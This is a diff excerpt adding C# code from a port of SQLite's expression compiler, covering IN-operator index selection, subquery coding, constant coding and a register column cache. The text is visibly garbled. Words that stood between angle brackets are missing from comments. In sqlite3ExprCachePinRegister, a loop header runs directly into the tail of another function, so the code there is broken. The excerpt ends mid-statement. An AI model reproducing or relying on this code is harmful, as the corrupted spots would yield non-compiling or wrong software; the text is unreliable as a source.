+ return ( p.iColumn < 0 + && ( aff == SQLITE_AFF_INTEGER || aff == SQLITE_AFF_NUMERIC ) ) ? 1 : 0; + } + default: + { + return 0; + } + } + } + + /* + ** Return TRUE if the given string is a row-id column name. + */ + static bool sqlite3IsRowid( string z ) + { + if ( z.Equals( "_ROWID_", StringComparison.InvariantCultureIgnoreCase ) ) + return true; + if ( z.Equals( "ROWID", StringComparison.InvariantCultureIgnoreCase ) ) + return true; + if ( z.Equals( "OID", StringComparison.InvariantCultureIgnoreCase ) ) + return true; + return false; + } + + + /* + ** Return true if we are able to the IN operator optimization on a + ** query of the form + ** + ** x IN (SELECT ...) + ** + ** Where the SELECT... clause is as specified by the parameter to this + ** routine. + ** + ** The Select object passed in has already been preprocessed and no + ** errors have been found. + */ +#if !SQLITE_OMIT_SUBQUERY + static int isCandidateForInOpt( Select p ) + { + SrcList pSrc; + ExprList pEList; + Table pTab; + if ( p == null ) + return 0; /* right-hand side of IN is SELECT */ + if ( p.pPrior != null ) + return 0; /* Not a compound SELECT */ + if ( ( p.selFlags & ( SF_Distinct | SF_Aggregate ) ) != 0 ) + { + testcase( ( p.selFlags & ( SF_Distinct | SF_Aggregate ) ) == SF_Distinct ); + testcase( ( p.selFlags & ( SF_Distinct | SF_Aggregate ) ) == SF_Aggregate ); + return 0; /* No DISTINCT keyword and no aggregate functions */ + } + Debug.Assert( p.pGroupBy == null ); /* Has no GROUP BY clause */ + if ( p.pLimit != null ) + return 0; /* Has no LIMIT clause */ + Debug.Assert( p.pOffset == null ); /* No LIMIT means no OFFSET */ + + if ( p.pWhere != null ) + return 0; /* Has no WHERE clause */ + pSrc = p.pSrc; + Debug.Assert( pSrc != null ); + if ( pSrc.nSrc != 1 ) + return 0; /* Single term in FROM clause */ + if ( pSrc.a[0].pSelect != null ) + return 0; /* FROM is not a subquery or view */ + pTab = pSrc.a[0].pTab; + if ( NEVER( pTab == null ) ) + return 0; + Debug.Assert( pTab.pSelect == null ); /* FROM clause is not a view */ + if ( IsVirtual( pTab ) ) + return 0; /* FROM clause not a virtual table */ + pEList = p.pEList; + if ( pEList.nExpr != 1 ) + return 0; /* One column in the result set */ + if ( pEList.a[0].pExpr.op != TK_COLUMN ) + return 0; /* Result is a column */ + return 1; + } +#endif //* SQLITE_OMIT_SUBQUERY */ + + /* +** This function is used by the implementation of the IN (...) operator. +** It's job is to find or create a b-tree structure that may be used +** either to test for membership of the (...) set or to iterate through +** its members, skipping duplicates. +** +** The index of the cursor opened on the b-tree (database table, database index +** or ephermal table) is stored in pX->iTable before this function returns. +** The returned value of this function indicates the b-tree type, as follows: +** +** IN_INDEX_ROWID - The cursor was opened on a database table. +** IN_INDEX_INDEX - The cursor was opened on a database index. +** IN_INDEX_EPH - The cursor was opened on a specially created and +** populated epheremal table. +** +** An existing b-tree may only be used if the SELECT is of the simple +** form: +** +** SELECT FROM +** +** If the prNotFound parameter is 0, then the b-tree will be used to iterate +** through the set members, skipping any duplicates. In this case an +** epheremal table must be used unless the selected is guaranteed +** to be unique - either because it is an INTEGER PRIMARY KEY or it +** has a UNIQUE constraint or UNIQUE index. +** +** If the prNotFound parameter is not 0, then the b-tree will be used +** for fast set membership tests. In this case an epheremal table must +** be used unless is an INTEGER PRIMARY KEY or an index can +** be found with as its left-most column. +** +** When the b-tree is being used for membership tests, the calling function +** needs to know whether or not the structure contains an SQL NULL +** value in order to correctly evaluate expressions like "X IN (Y, Z)". +** If there is any chance that the (...) might contain a NULL value at +** runtime, then a register is allocated and the register number written +** to *prNotFound. If there is no chance that the (...) contains a +** NULL value, then *prNotFound is left unchanged. +** +** If a register is allocated and its location stored in *prNotFound, then +** its initial value is NULL. If the (...) does not remain constant +** for the duration of the query (i.e. the SELECT within the (...) +** is a correlated subquery) then the value of the allocated register is +** reset to NULL each time the subquery is rerun. This allows the +** caller to use vdbe code equivalent to the following: +** +** if( register==NULL ){ +** has_null = +** register = 1 +** } +** +** in order to avoid running the +** test more often than is necessary. +*/ +#if !SQLITE_OMIT_SUBQUERY + static int sqlite3FindInIndex( Parse pParse, Expr pX, ref int prNotFound ) + { + Select p; /* SELECT to the right of IN operator */ + int eType = 0; /* Type of RHS table. IN_INDEX_* */ + int iTab = pParse.nTab++; /* Cursor of the RHS table */ + bool mustBeUnique = ( prNotFound != 0 ); /* True if RHS must be unique */ + + Debug.Assert( pX.op == TK_IN ); + + /* Check to see if an existing table or index can be used to + ** satisfy the query. This is preferable to generating a new + ** ephemeral table. + */ + p = ( ExprHasProperty( pX, EP_xIsSelect ) ? pX.x.pSelect : null ); + if ( ALWAYS( pParse.nErr == 0 ) && isCandidateForInOpt( p ) != 0 ) + { + sqlite3 db = pParse.db; /* Database connection */ + Expr pExpr = p.pEList.a[0].pExpr; /* Expression */ + int iCol = pExpr.iColumn; /* Index of column */ + Vdbe v = sqlite3GetVdbe( pParse ); /* Virtual machine being coded */ + Table pTab = p.pSrc.a[0].pTab; /* Table
. */ + int iDb; /* Database idx for pTab */ + + /* Code an OP_VerifyCookie and OP_TableLock for
. */ + iDb = sqlite3SchemaToIndex( db, pTab.pSchema ); + sqlite3CodeVerifySchema( pParse, iDb ); + sqlite3TableLock( pParse, iDb, pTab.tnum, 0, pTab.zName ); + + /* This function is only called from two places. In both cases the vdbe + ** has already been allocated. So assume sqlite3GetVdbe() is always + ** successful here. + */ + Debug.Assert( v != null ); + if ( iCol < 0 ) + { + int iMem = ++pParse.nMem; + int iAddr; + + iAddr = sqlite3VdbeAddOp1( v, OP_If, iMem ); + sqlite3VdbeAddOp2( v, OP_Integer, 1, iMem ); + + sqlite3OpenTable( pParse, iTab, iDb, pTab, OP_OpenRead ); + eType = IN_INDEX_ROWID; + + sqlite3VdbeJumpHere( v, iAddr ); + } + else + { + Index pIdx; /* Iterator variable */ + /* The collation sequence used by the comparison. If an index is to + ** be used in place of a temp.table, it must be ordered according + ** to this collation sequence. */ + CollSeq pReq = sqlite3BinaryCompareCollSeq( pParse, pX.pLeft, pExpr ); + + /* Check that the affinity that will be used to perform the + ** comparison is the same as the affinity of the column. If + ** it is not, it is not possible to use any index. + */ + char aff = comparisonAffinity( pX ); + bool affinity_ok = ( pTab.aCol[iCol].affinity == aff || aff == SQLITE_AFF_NONE ); + + for ( pIdx = pTab.pIndex; pIdx != null && eType == 0 && affinity_ok; pIdx = pIdx.pNext ) + { + if ( ( pIdx.aiColumn[0] == iCol ) + && ( sqlite3FindCollSeq( db, ENC( db ), pIdx.azColl[0], 0 ) == pReq ) + && ( mustBeUnique == false || ( pIdx.nColumn == 1 && pIdx.onError != OE_None ) ) + ) + { + int iMem = ++pParse.nMem; + int iAddr; + KeyInfo pKey; + + pKey = sqlite3IndexKeyinfo( pParse, pIdx ); + + iAddr = sqlite3VdbeAddOp1( v, OP_If, iMem ); + sqlite3VdbeAddOp2( v, OP_Integer, 1, iMem ); + + sqlite3VdbeAddOp4( v, OP_OpenRead, iTab, pIdx.tnum, iDb, + pKey, P4_KEYINFO_HANDOFF ); +#if SQLITE_DEBUG + VdbeComment( v, "%s", pIdx.zName ); +#endif + eType = IN_INDEX_INDEX; + + sqlite3VdbeJumpHere( v, iAddr ); + if ( //prNotFound != null && -- always exists under C# + pTab.aCol[iCol].notNull == 0 ) + { + prNotFound = ++pParse.nMem; + } + } + } + } + } + + if ( eType == 0 ) + { + /* Could not found an existing table or index to use as the RHS b-tree. + ** We will have to generate an ephemeral table to do the job. + */ + double savedNQueryLoop = pParse.nQueryLoop; + int rMayHaveNull = 0; + eType = IN_INDEX_EPH; + if ( prNotFound != -1 ) // Klude to show prNotFound not available + { + prNotFound = rMayHaveNull = ++pParse.nMem; + } + else + { + testcase( pParse.nQueryLoop > (double)1 ); + pParse.nQueryLoop = (double)1; + if ( pX.pLeft.iColumn < 0 && !ExprHasAnyProperty( pX, EP_xIsSelect ) ) + { + eType = IN_INDEX_ROWID; + } + } + sqlite3CodeSubselect( pParse, pX, rMayHaveNull, eType == IN_INDEX_ROWID ); + pParse.nQueryLoop = savedNQueryLoop; + } + else + { + pX.iTable = iTab; + } + return eType; + } +#endif + + /* +** Generate code for scalar subqueries used as a subquery expression, EXISTS, +** or IN operators. Examples: +** +** (SELECT a FROM b) -- subquery +** EXISTS (SELECT a FROM b) -- EXISTS subquery +** x IN (4,5,11) -- IN operator with list on right-hand side +** x IN (SELECT a FROM b) -- IN operator with subquery on the right +** +** The pExpr parameter describes the expression that contains the IN +** operator or subquery. +** +** If parameter isRowid is non-zero, then expression pExpr is guaranteed +** to be of the form " IN (?, ?, ?)", where is a reference +** to some integer key column of a table B-Tree. In this case, use an +** intkey B-Tree to store the set of IN(...) values instead of the usual +** (slower) variable length keys B-Tree. +** +** If rMayHaveNull is non-zero, that means that the operation is an IN +** (not a SELECT or EXISTS) and that the RHS might contains NULLs. +** Furthermore, the IN is in a WHERE clause and that we really want +** to iterate over the RHS of the IN operator in order to quickly locate +** all corresponding LHS elements. All this routine does is initialize +** the register given by rMayHaveNull to NULL. Calling routines will take +** care of changing this register value to non-NULL if the RHS is NULL-free. +** +** If rMayHaveNull is zero, that means that the subquery is being used +** for membership testing only. There is no need to initialize any +** registers to indicate the presense or absence of NULLs on the RHS. +** +** For a SELECT or EXISTS operator, return the register that holds the +** result. For IN operators or if an error occurs, the return value is 0. +*/ +#if !SQLITE_OMIT_SUBQUERY + static int sqlite3CodeSubselect( + Parse pParse, /* Parsing context */ + Expr pExpr, /* The IN, SELECT, or EXISTS operator */ + int rMayHaveNull, /* Register that records whether NULLs exist in RHS */ + bool isRowid /* If true, LHS of IN operator is a rowid */ + ) + { + int testAddr = 0; /* One-time test address */ + int rReg = 0; /* Register storing resulting */ + Vdbe v = sqlite3GetVdbe( pParse ); + if ( NEVER( v == null ) ) + return 0; + sqlite3ExprCachePush( pParse ); + + /* This code must be run in its entirety every time it is encountered + ** if any of the following is true: + ** + ** * The right-hand side is a correlated subquery + ** * The right-hand side is an expression list containing variables + ** * We are inside a trigger + ** + ** If all of the above are false, then we can run this code just once + ** save the results, and reuse the same result on subsequent invocations. + */ + if ( !ExprHasAnyProperty( pExpr, EP_VarSelect ) && null == pParse.pTriggerTab ) + { + int mem = ++pParse.nMem; + sqlite3VdbeAddOp1( v, OP_If, mem ); + testAddr = sqlite3VdbeAddOp2( v, OP_Integer, 1, mem ); + Debug.Assert( testAddr > 0 /* || pParse.db.mallocFailed != 0 */ ); + } + +#if !SQLITE_OMIT_EXPLAIN + if ( pParse.explain == 2 ) + { + string zMsg = sqlite3MPrintf( + pParse.db, "EXECUTE %s%s SUBQUERY %d", testAddr != 0 ? "" : "CORRELATED ", + pExpr.op == TK_IN ? "LIST" : "SCALAR", pParse.iNextSelectId + ); + sqlite3VdbeAddOp4( v, OP_Explain, pParse.iSelectId, 0, 0, zMsg, P4_DYNAMIC ); + } +#endif + + switch ( pExpr.op ) + { + case TK_IN: + { + char affinity; /* Affinity of the LHS of the IN */ + KeyInfo keyInfo; /* Keyinfo for the generated table */ + int addr; /* Address of OP_OpenEphemeral instruction */ + Expr pLeft = pExpr.pLeft; /* the LHS of the IN operator */ + + if ( rMayHaveNull != 0 ) + { + sqlite3VdbeAddOp2( v, OP_Null, 0, rMayHaveNull ); + } + + affinity = sqlite3ExprAffinity( pLeft ); + + /* Whether this is an 'x IN(SELECT...)' or an 'x IN()' + ** expression it is handled the same way. An ephemeral table is + ** filled with single-field index keys representing the results + ** from the SELECT or the . + ** + ** If the 'x' expression is a column value, or the SELECT... + ** statement returns a column value, then the affinity of that + ** column is used to build the index keys. If both 'x' and the + ** SELECT... statement are columns, then numeric affinity is used + ** if either column has NUMERIC or INTEGER affinity. If neither + ** 'x' nor the SELECT... statement are columns, then numeric affinity + ** is used. + */ + pExpr.iTable = pParse.nTab++; + addr = sqlite3VdbeAddOp2( v, OP_OpenEphemeral, (int)pExpr.iTable, !isRowid ); + if ( rMayHaveNull == 0 ) + sqlite3VdbeChangeP5( v, BTREE_UNORDERED ); + keyInfo = new KeyInfo();// memset( &keyInfo, 0, sizeof(keyInfo )); + keyInfo.nField = 1; + + if ( ExprHasProperty( pExpr, EP_xIsSelect ) ) + { + /* Case 1: expr IN (SELECT ...) + ** + ** Generate code to write the results of the select into the temporary + ** table allocated and opened above. + */ + SelectDest dest = new SelectDest(); + ExprList pEList; + + Debug.Assert( !isRowid ); + sqlite3SelectDestInit( dest, SRT_Set, pExpr.iTable ); + dest.affinity = (char)affinity; + Debug.Assert( ( pExpr.iTable & 0x0000FFFF ) == pExpr.iTable ); + pExpr.x.pSelect.iLimit = 0; + if ( sqlite3Select( pParse, pExpr.x.pSelect, ref dest ) != 0 ) + { + return 0; + } + pEList = pExpr.x.pSelect.pEList; + if ( ALWAYS( pEList != null ) && pEList.nExpr > 0 ) + { + keyInfo.aColl[0] = sqlite3BinaryCompareCollSeq( pParse, pExpr.pLeft, + pEList.a[0].pExpr ); + } + } + else if ( ALWAYS( pExpr.x.pList != null ) ) + { + /* Case 2: expr IN (exprlist) + ** + ** For each expression, build an index key from the evaluation and + ** store it in the temporary table. If is a column, then use + ** that columns affinity when building index keys. If is not + ** a column, use numeric affinity. + */ + int i; + ExprList pList = pExpr.x.pList; + ExprList_item pItem; + int r1, r2, r3; + + if ( affinity == '\0' ) + { + affinity = SQLITE_AFF_NONE; + } + keyInfo.aColl[0] = sqlite3ExprCollSeq( pParse, pExpr.pLeft ); + + /* Loop through each expression in . */ + r1 = sqlite3GetTempReg( pParse ); + r2 = sqlite3GetTempReg( pParse ); + sqlite3VdbeAddOp2( v, OP_Null, 0, r2 ); + for ( i = 0; i < pList.nExpr; i++ ) + {//, pItem++){ + pItem = pList.a[i]; + Expr pE2 = pItem.pExpr; + int iValToIns = 0; + + /* If the expression is not constant then we will need to + ** disable the test that was generated above that makes sure + ** this code only executes once. Because for a non-constant + ** expression we need to rerun this code each time. + */ + if ( testAddr != 0 && sqlite3ExprIsConstant( pE2 ) == 0 ) + { + sqlite3VdbeChangeToNoop( v, testAddr - 1, 2 ); + testAddr = 0; + } + + /* Evaluate the expression and insert it into the temp table */ + if ( isRowid && sqlite3ExprIsInteger( pE2, ref iValToIns ) != 0 ) + { + sqlite3VdbeAddOp3( v, OP_InsertInt, pExpr.iTable, r2, iValToIns ); + } + else + { + r3 = sqlite3ExprCodeTarget( pParse, pE2, r1 ); + if ( isRowid ) + { + sqlite3VdbeAddOp2( v, OP_MustBeInt, r3, + sqlite3VdbeCurrentAddr( v ) + 2 ); + sqlite3VdbeAddOp3( v, OP_Insert, pExpr.iTable, r2, r3 ); + } + else + { + sqlite3VdbeAddOp4( v, OP_MakeRecord, r3, 1, r2, affinity, 1 ); + sqlite3ExprCacheAffinityChange( pParse, r3, 1 ); + sqlite3VdbeAddOp2( v, OP_IdxInsert, pExpr.iTable, r2 ); + } + } + } + sqlite3ReleaseTempReg( pParse, r1 ); + sqlite3ReleaseTempReg( pParse, r2 ); + } + if ( !isRowid ) + { + sqlite3VdbeChangeP4( v, addr, keyInfo, P4_KEYINFO ); + } + break; + } + + case TK_EXISTS: + case TK_SELECT: + default: + { + /* If this has to be a scalar SELECT. Generate code to put the + ** value of this select in a memory cell and record the number + ** of the memory cell in iColumn. If this is an EXISTS, write + ** an integer 0 (not exists) or 1 (exists) into a memory cell + ** and record that memory cell in iColumn. + */ + Select pSel; /* SELECT statement to encode */ + SelectDest dest = new SelectDest(); /* How to deal with SELECt result */ + + testcase( pExpr.op == TK_EXISTS ); + testcase( pExpr.op == TK_SELECT ); + Debug.Assert( pExpr.op == TK_EXISTS || pExpr.op == TK_SELECT ); + + Debug.Assert( ExprHasProperty( pExpr, EP_xIsSelect ) ); + pSel = pExpr.x.pSelect; + sqlite3SelectDestInit( dest, 0, ++pParse.nMem ); + if ( pExpr.op == TK_SELECT ) + { + dest.eDest = SRT_Mem; + sqlite3VdbeAddOp2( v, OP_Null, 0, dest.iParm ); +#if SQLITE_DEBUG + VdbeComment( v, "Init subquery result" ); +#endif + } + else + { + dest.eDest = SRT_Exists; + sqlite3VdbeAddOp2( v, OP_Integer, 0, dest.iParm ); +#if SQLITE_DEBUG + VdbeComment( v, "Init EXISTS result" ); +#endif + } + sqlite3ExprDelete( pParse.db, ref pSel.pLimit ); + pSel.pLimit = sqlite3PExpr( pParse, TK_INTEGER, null, null, sqlite3IntTokens[1] ); + pSel.iLimit = 0; + if ( sqlite3Select( pParse, pSel, ref dest ) != 0 ) + { + return 0; + } + rReg = dest.iParm; + ExprSetIrreducible( pExpr ); + break; + } + } + + if ( testAddr != 0 ) + { + sqlite3VdbeJumpHere( v, testAddr - 1 ); + } + sqlite3ExprCachePop( pParse, 1 ); + + return rReg; + } +#endif // * SQLITE_OMIT_SUBQUERY */ + +#if !SQLITE_OMIT_SUBQUERY + /* +** Generate code for an IN expression. +** +** x IN (SELECT ...) +** x IN (value, value, ...) +** +** The left-hand side (LHS) is a scalar expression. The right-hand side (RHS) +** is an array of zero or more values. The expression is true if the LHS is +** contained within the RHS. The value of the expression is unknown (NULL) +** if the LHS is NULL or if the LHS is not contained within the RHS and the +** RHS contains one or more NULL values. +** +** This routine generates code will jump to destIfFalse if the LHS is not +** contained within the RHS. If due to NULLs we cannot determine if the LHS +** is contained in the RHS then jump to destIfNull. If the LHS is contained +** within the RHS then fall through. +*/ + static void sqlite3ExprCodeIN( + Parse pParse, /* Parsing and code generating context */ + Expr pExpr, /* The IN expression */ + int destIfFalse, /* Jump here if LHS is not contained in the RHS */ + int destIfNull /* Jump here if the results are unknown due to NULLs */ + ) + { + int rRhsHasNull = 0; /* Register that is true if RHS contains NULL values */ + char affinity; /* Comparison affinity to use */ + int eType; /* Type of the RHS */ + int r1; /* Temporary use register */ + Vdbe v; /* Statement under construction */ + + /* Compute the RHS. After this step, the table with cursor + ** pExpr.iTable will contains the values that make up the RHS. + */ + v = pParse.pVdbe; + Debug.Assert( v != null ); /* OOM detected prior to this routine */ + VdbeNoopComment( v, "begin IN expr" ); + eType = sqlite3FindInIndex( pParse, pExpr, ref rRhsHasNull ); + + /* Figure out the affinity to use to create a key from the results + ** of the expression. affinityStr stores a static string suitable for + ** P4 of OP_MakeRecord. + */ + affinity = comparisonAffinity( pExpr ); + + /* Code the LHS, the from " IN (...)". + */ + sqlite3ExprCachePush( pParse ); + r1 = sqlite3GetTempReg( pParse ); + sqlite3ExprCode( pParse, pExpr.pLeft, r1 ); + + /* If the LHS is NULL, then the result is either false or NULL depending + ** on whether the RHS is empty or not, respectively. + */ + if ( destIfNull == destIfFalse ) + { + /* Shortcut for the common case where the false and NULL outcomes are + ** the same. */ + sqlite3VdbeAddOp2( v, OP_IsNull, r1, destIfNull ); + } + else + { + int addr1 = sqlite3VdbeAddOp1( v, OP_NotNull, r1 ); + sqlite3VdbeAddOp2( v, OP_Rewind, pExpr.iTable, destIfFalse ); + sqlite3VdbeAddOp2( v, OP_Goto, 0, destIfNull ); + sqlite3VdbeJumpHere( v, addr1 ); + } + + if ( eType == IN_INDEX_ROWID ) + { + /* In this case, the RHS is the ROWID of table b-tree + */ + sqlite3VdbeAddOp2( v, OP_MustBeInt, r1, destIfFalse ); + sqlite3VdbeAddOp3( v, OP_NotExists, pExpr.iTable, destIfFalse, r1 ); + } + else + { + /* In this case, the RHS is an index b-tree. + */ + sqlite3VdbeAddOp4( v, OP_Affinity, r1, 1, 0, affinity, 1 ); + + /* If the set membership test fails, then the result of the + ** "x IN (...)" expression must be either 0 or NULL. If the set + ** contains no NULL values, then the result is 0. If the set + ** contains one or more NULL values, then the result of the + ** expression is also NULL. + */ + if ( rRhsHasNull == 0 || destIfFalse == destIfNull ) + { + /* This branch runs if it is known at compile time that the RHS + ** cannot contain NULL values. This happens as the result + ** of a "NOT NULL" constraint in the database schema. + ** + ** Also run this branch if NULL is equivalent to FALSE + ** for this particular IN operator. + */ + sqlite3VdbeAddOp4Int( v, OP_NotFound, pExpr.iTable, destIfFalse, r1, 1 ); + + } + else + { + /* In this branch, the RHS of the IN might contain a NULL and + ** the presence of a NULL on the RHS makes a difference in the + ** outcome. + */ + int j1, j2, j3; + + /* First check to see if the LHS is contained in the RHS. If so, + ** then the presence of NULLs in the RHS does not matter, so jump + ** over all of the code that follows. + */ + j1 = sqlite3VdbeAddOp4Int( v, OP_Found, pExpr.iTable, 0, r1, 1 ); + + /* Here we begin generating code that runs if the LHS is not + ** contained within the RHS. Generate additional code that + ** tests the RHS for NULLs. If the RHS contains a NULL then + ** jump to destIfNull. If there are no NULLs in the RHS then + ** jump to destIfFalse. + */ + j2 = sqlite3VdbeAddOp1( v, OP_NotNull, rRhsHasNull ); + j3 = sqlite3VdbeAddOp4Int( v, OP_Found, pExpr.iTable, 0, rRhsHasNull, 1 ); + sqlite3VdbeAddOp2( v, OP_Integer, -1, rRhsHasNull ); + sqlite3VdbeJumpHere( v, j3 ); + sqlite3VdbeAddOp2( v, OP_AddImm, rRhsHasNull, 1 ); + sqlite3VdbeJumpHere( v, j2 ); + + /* Jump to the appropriate target depending on whether or not + ** the RHS contains a NULL + */ + sqlite3VdbeAddOp2( v, OP_If, rRhsHasNull, destIfNull ); + sqlite3VdbeAddOp2( v, OP_Goto, 0, destIfFalse ); + + /* The OP_Found at the top of this branch jumps here when true, + ** causing the overall IN expression evaluation to fall through. + */ + sqlite3VdbeJumpHere( v, j1 ); + } + } + sqlite3ReleaseTempReg( pParse, r1 ); + sqlite3ExprCachePop( pParse, 1 ); + VdbeComment( v, "end IN expr" ); + } +#endif //* SQLITE_OMIT_SUBQUERY */ + + /* +** Duplicate an 8-byte value +*/ + //static char *dup8bytes(Vdbe v, string in){ + // char *out = sqlite3DbMallocRaw(sqlite3VdbeDb(v), 8); + // if( out ){ + // memcpy(out, in, 8); + // } + // return out; + //} + +#if !SQLITE_OMIT_FLOATING_POINT + /* +** Generate an instruction that will put the floating point +** value described by z[0..n-1] into register iMem. +** +** The z[] string will probably not be zero-terminated. But the +** z[n] character is guaranteed to be something that does not look +** like the continuation of the number. +*/ + static void codeReal( Vdbe v, string z, bool negateFlag, int iMem ) + { + if ( ALWAYS( !String.IsNullOrEmpty( z ) ) ) + { + double value = 0; + //string zV; + sqlite3AtoF( z, ref value, sqlite3Strlen30( z ), SQLITE_UTF8 ); + Debug.Assert( !sqlite3IsNaN( value ) ); /* The new AtoF never returns NaN */ + if ( negateFlag ) + value = -value; + //zV = dup8bytes(v, value); + sqlite3VdbeAddOp4( v, OP_Real, 0, iMem, 0, value, P4_REAL ); + } + } +#endif + + /* + ** Generate an instruction that will put the integer describe by + ** text z[0..n-1] into register iMem. + ** + ** Expr.u.zToken is always UTF8 and zero-terminated. + */ + static void codeInteger( Parse pParse, Expr pExpr, bool negFlag, int iMem ) + { + Vdbe v = pParse.pVdbe; + if ( ( pExpr.flags & EP_IntValue ) != 0 ) + { + int i = pExpr.u.iValue; + Debug.Assert( i >= 0 ); + if ( negFlag ) + i = -i; + sqlite3VdbeAddOp2( v, OP_Integer, i, iMem ); + } + else + { + int c; + i64 value = 0; + string z = pExpr.u.zToken; + Debug.Assert( !String.IsNullOrEmpty( z ) ); + c = sqlite3Atoi64( z, ref value, sqlite3Strlen30( z ), SQLITE_UTF8 ); + if ( c == 0 || ( c == 2 && negFlag ) ) + { + //char* zV; + if ( negFlag ) + { + value = c == 2 ? SMALLEST_INT64 : -value; + } + sqlite3VdbeAddOp4( v, OP_Int64, 0, iMem, 0, value, P4_INT64 ); + } + else + { +#if SQLITE_OMIT_FLOATING_POINT +sqlite3ErrorMsg(pParse, "oversized integer: %s%s", negFlag ? "-" : "", z); +#else + codeReal( v, z, negFlag, iMem ); +#endif + } + } + } + + /* + ** Clear a cache entry. + */ + static void cacheEntryClear( Parse pParse, yColCache p ) + { + if ( p.tempReg != 0 ) + { + if ( pParse.nTempReg < ArraySize( pParse.aTempReg ) ) + { + pParse.aTempReg[pParse.nTempReg++] = p.iReg; + } + p.tempReg = 0; + } + } + + + /* + ** Record in the column cache that a particular column from a + ** particular table is stored in a particular register. + */ + static void sqlite3ExprCacheStore( Parse pParse, int iTab, int iCol, int iReg ) + { + int i; + int minLru; + int idxLru; + yColCache p = new yColCache(); + + Debug.Assert( iReg > 0 ); /* Register numbers are always positive */ + Debug.Assert( iCol >= -1 && iCol < 32768 ); /* Finite column numbers */ + + /* The SQLITE_ColumnCache flag disables the column cache. This is used + ** for testing only - to verify that SQLite always gets the same answer + ** with and without the column cache. + */ + if ( ( pParse.db.flags & SQLITE_ColumnCache ) != 0 ) + return; + + /* First replace any existing entry. + ** + ** Actually, the way the column cache is currently used, we are guaranteed + ** that the object will never already be in cache. Verify this guarantee. + */ +#if !NDEBUG + for ( i = 0; i < SQLITE_N_COLCACHE; i++ )//p=pParse.aColCache... p++) + { +#if FALSE //* This code wold remove the entry from the cache if it existed */ +p = pParse.aColCache[i]; +if ( p.iReg != 0 && p.iTable == iTab && p.iColumn == iCol ) +{ +cacheEntryClear( pParse, p ); +p.iLevel = pParse.iCacheLevel; +p.iReg = iReg; +p.lru = pParse.iCacheCnt++; +return; +} +#endif + Debug.Assert( p.iReg == 0 || p.iTable != iTab || p.iColumn != iCol ); + } +#endif + + /* Find an empty slot and replace it */ + for ( i = 0; i < SQLITE_N_COLCACHE; i++ )//p=pParse.aColCache... p++) + { + p = pParse.aColCache[i]; + if ( p.iReg == 0 ) + { + p.iLevel = pParse.iCacheLevel; + p.iTable = iTab; + p.iColumn = iCol; + p.iReg = iReg; + p.tempReg = 0; + p.lru = pParse.iCacheCnt++; + return; + } + } + + /* Replace the last recently used */ + minLru = 0x7fffffff; + idxLru = -1; + for ( i = 0; i < SQLITE_N_COLCACHE; i++ )//p=pParse.aColCache..., p++) + { + p = pParse.aColCache[i]; + if ( p.lru < minLru ) + { + idxLru = i; + minLru = p.lru; + } + } + if ( ALWAYS( idxLru >= 0 ) ) + { + p = pParse.aColCache[idxLru]; + p.iLevel = pParse.iCacheLevel; + p.iTable = iTab; + p.iColumn = iCol; + p.iReg = iReg; + p.tempReg = 0; + p.lru = pParse.iCacheCnt++; + return; + } + } + + /* + ** Indicate that registers between iReg..iReg+nReg-1 are being overwritten. + ** Purge the range of registers from the column cache. + */ + static void sqlite3ExprCacheRemove( Parse pParse, int iReg, int nReg ) + { + int i; + int iLast = iReg + nReg - 1; + yColCache p; + for ( i = 0; i < SQLITE_N_COLCACHE; i++ )//p=pParse.aColCache... p++) + { + p = pParse.aColCache[i]; + int r = p.iReg; + if ( r >= iReg && r <= iLast ) + { + cacheEntryClear( pParse, p ); + p.iReg = 0; + } + } + } + + /* + ** Remember the current column cache context. Any new entries added + ** added to the column cache after this call are removed when the + ** corresponding pop occurs. + */ + static void sqlite3ExprCachePush( Parse pParse ) + { + pParse.iCacheLevel++; + } + + /* + ** Remove from the column cache any entries that were added since the + ** the previous N Push operations. In other words, restore the cache + ** to the state it was in N Pushes ago. + */ + static void sqlite3ExprCachePop( Parse pParse, int N ) + { + int i; + yColCache p; + Debug.Assert( N > 0 ); + Debug.Assert( pParse.iCacheLevel >= N ); + pParse.iCacheLevel -= N; + for ( i = 0; i < SQLITE_N_COLCACHE; i++ )// p++) + { + p = pParse.aColCache[i]; + if ( p.iReg != 0 && p.iLevel > pParse.iCacheLevel ) + { + cacheEntryClear( pParse, p ); + p.iReg = 0; + } + } + } + + /* + ** When a cached column is reused, make sure that its register is + ** no longer available as a temp register. ticket #3879: that same + ** register might be in the cache in multiple places, so be sure to + ** get them all. + */ + static void sqlite3ExprCachePinRegister( Parse pParse, int iReg ) + { + int i; + yColCache p; + for ( i = 0; i < SQLITE_N_COLCACHE; i++ )//p=pParse->aColCache; i= 0 ) + { + sqlite3ColumnDefault( v, pTab, iCol, regOut ); + } + } + + /* + ** Generate code that will extract the iColumn-th column from + ** table pTab and store the column value in a register. An effort + ** is made to store the column value in register iReg, but this is + ** not guaranteed. The location of the column value is returned. + ** + ** There must be an open cursor to pTab in iTable when this routine + ** is called. If iColumn<0 then code is generated that extracts the rowid. + */ + static int sqlite3ExprCodeGetColumn( + Parse pParse, /* Parsing and code generating context */ + Table pTab, /* Description of the table we are reading from */ + int iColumn, /* Index of the table column */ + int iTable, /* The cursor pointing to the table */ + int iReg /* Store results here */ + ) + { + Vdbe v = pParse.pVdbe; + int i; + yColCache p; + + for ( i = 0; i < SQLITE_N_COLCACHE; i++ ) + {// p=pParse.aColCache, p++ + p = pParse.aColCache[i]; + if ( p.iReg > 0 && p.iTable == iTable && p.iColumn == iColumn ) + { + p.lru = pParse.iCacheCnt++; + sqlite3ExprCachePinRegister( pParse, p.iReg ); + return p.iReg; + } + } + Debug.Assert( v != null ); + sqlite3ExprCodeGetColumnOfTable( v, pTab, iTable, iColumn, iReg ); + sqlite3ExprCacheStore( pParse, iTable, iColumn, iReg ); + return iReg; + } + + /* + ** Clear all column cache entries. + */ + static void sqlite3ExprCacheClear( Parse pParse ) + { + int i; + yColCache p; + + for ( i = 0; i < SQLITE_N_COLCACHE; i++ )// p=pParse.aColCache... p++) + { + p = pParse.aColCache[i]; + if ( p.iReg != 0 ) + { + cacheEntryClear( pParse, p ); + p.iReg = 0; + } + } + } + + /* + ** Record the fact that an affinity change has occurred on iCount + ** registers starting with iStart. + */ + static void sqlite3ExprCacheAffinityChange( Parse pParse, int iStart, int iCount ) + { + sqlite3ExprCacheRemove( pParse, iStart, iCount ); + } + + /* + ** Generate code to move content from registers iFrom...iFrom+nReg-1 + ** over to iTo..iTo+nReg-1. Keep the column cache up-to-date. + */ + static void sqlite3ExprCodeMove( Parse pParse, int iFrom, int iTo, int nReg ) + { + int i; + yColCache p; + if ( NEVER( iFrom == iTo ) ) + return; + sqlite3VdbeAddOp3( pParse.pVdbe, OP_Move, iFrom, iTo, nReg ); + for 